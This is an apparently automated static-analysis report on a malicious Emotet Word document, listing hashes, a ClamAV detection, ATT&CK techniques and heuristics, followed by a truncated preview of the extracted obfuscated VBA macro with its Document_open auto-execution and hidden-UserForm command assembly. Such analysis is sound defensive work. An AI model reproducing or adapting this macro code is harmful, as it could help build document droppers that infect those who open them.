Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 1d9d018983c19aba…

MALICIOUS

Office (OLE)

178.2 KB Created: 2019-12-13 05:47:00 Authoring application: Microsoft Office Word First seen: 2020-05-25
MD5: 6d4a898c5e939f8334ccdc10a21e541c SHA-1: 9ae0864c04863c8969f79b1051f1b6f7f185a7cc SHA-256: 1d9d018983c19aba80412aef9e7c2d0f7e71c28ae8770d785819ef49fb467c5a
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1140 Deobfuscate or Obfuscate

The sample is identified as malicious by ClamAV with the signature 'Doc.Downloader.Emotet-7451163-0', strongly suggesting the Emotet family. Critical heuristics indicate a VBA UserForm hidden-property command stager and auto-execution via the Document_Open macro, which uses CreateObject to likely download and execute a second-stage payload. The VBA macro 'macros.bas' is the source of this malicious behavior.

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-7451163-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-7451163-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 8212 bytes
SHA-256: a71db76bf008750bbf619b99bd840e038984b6f798e3a5bded48a68110e21a02
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Ueqynpgyegrrj"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Control = "Yjlobarzlbv, 0, 0, MSForms, TextBox"
Private Sub Document_open()
   Select Case Wwfglnbiq
      Case 136
         Kmwveruu = Cos(554)
         Lkvatesioaayo = Atn(413)
         Xjalyzmapgouz = Cos(405)
      Case 758
         Txrflmjfrji = Atn(832)
         Damykvgh = 113
         Uzzjgufjs = CDate(43)
      Case 128
         Hdgiamoe = CInt(343)
         Qzkxptpj = Log(Hyowflcdkmzpw)
         Xfpkiscmfeapm = Papesjok
End Select
   Select Case Yryclfxquc
      Case 353
         Xscycqbqlnshu = Cos(511)
         Zepaxtqwd = Atn(661)
         Wkhwbevixb = Cos(458)
      Case 413
         Awdmxkzqh = Atn(970)
         Xlebdehv = 542
         Purjomnlmte = CDate(915)
      Case 957
         Odthsldqfakjl = CInt(258)
         Sdpfnokb = Log(Jymfubwl)
         Yjxokvzktga = Ktidyzkebhe
End Select
   Select Case Tcrhowdn
      Case 575
         Vubgqddd = Cos(724)
         Ofugrlgiztgxn = Atn(360)
         Jhtmaxxnsjlg = Cos(794)
      Case 381
         Lypwnmnik = Atn(720)
         Pvoowxgb = 518
         Wkrscrrbx = CDate(205)
      Case 254
         Lznuraaof = CInt(314)
         Ckkbizvlefibp = Log(Elvwgnkwevauf)
         Nhfyhgiai = Lazcyxftw
End Select
Ibmsdjlpffnr
End Sub

Attribute VB_Name = "Xbnzhejmscfj"
Attribute VB_Base = "0{DA9AA869-44DA-49C9-8FD7-DE087810A6E2}{6F7E9A1B-5373-43CC-89BD-1944ADA72C56}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Yodpkwgvvvf"
Function Ccferaydcjies()
   Select Case Gpauwpjan
      Case 421
         Qgfcakuvkjwk = Cos(693)
         Egfiotniccbc = Atn(502)
         Cvntjktvnu = Cos(329)
      Case 393
         Rwawkfbcr = Atn(122)
         Ryvfiecb = 940
         Ltovcboxjtkp = CDate(742)
      Case 177
         Rhgswanr = CInt(751)
         Vunelqlsulfc = Log(Henehptc)
         Naxjfxhuawah = Mthruxvovg
End Select
Fwgmhztgk = Ueqynpgyegrrj.Yjlobarzlbv
   Select Case Ocburzatzd
      Case 96
         Qhgnnofzyh = Cos(354)
         Cnffhppnmvndq = Atn(716)
         Xjxoyszih = Cos(872)
      Case 462
         Yyhbkgicsd = Atn(574)
         Mjnrxutdxpjh = 552
         Sugcfyzw = CDate(652)
      Case 119
         Glkhunfbeol = CInt(62)
         Acnnbnjozl = Log(Ovqyuvptwll)
         Jjjidbonjg = Kxjhcgzasfso
End Select
Rwqhhlwnrvz = Fwgmhztgk + Xbnzhejmscfj.Xrbikrwcww + Xbnzhejmscfj.Ucytolyc + Xbnzhejmscfj.Kasnycxbjo
   Select Case Vnaazjdvap
      Case 948
         Wimcsphn = Cos(606)
         Crwxnhpgmyeog = Atn(508)
         Ymmfwbcf = Cos(1)
      Case 114
         Mkbioflh = Atn(846)
         Jebvwgtdvy = 202
         Yaucuhgu = CDate(632)
      Case 438
         Wxbwnyytth = CInt(453)
         Sulrjqhz = Log(Sklbolkd)
         Mwhduztv = Fauwhard
End Select
Rwgoxaemlawz = Rwqhhlwnrvz + Xbnzhejmscfj.Piacfubws + Xbnzhejmscfj.Extiezuwdf.ControlTipText
   Select Case Qtqgxkld
      Case 115
         Ozteygdhmbn = Cos(999)
         Zfiuodoi = Atn(605)
         Aucvwfqxpe = Cos(132)
      Case 779
         Btbardboim = Atn(47)
         Qapqwacgspt = 343
         Khcvdyobneoto = CDate(801)
      Case 310
         Hhbnxlfwqa = CInt(871)
         Butlaregwys = Log(Ipcwaxhoszl)
         Lkfkmvbin = Tobkfnjpwzpv
End Select
Ccferaydcjies = Ruxftwkfg + Rwgoxaemlawz + Ruxftwkfg
   Select Case Tjkpahardll
      Case 681
         Ilxvfpaq = Cos(364)
         Qoblhgcjc = Atn(351)
         Wwlipouooov = Cos(155)
      Case 413
         Ltaqvmgx = Atn(768)
         Taywslbc = 92
         Nmomnqagbwt = CDate(496)
      Case 784
         Zaofmoplpou = CInt(897)
         Qsbdnlljo
... (truncated)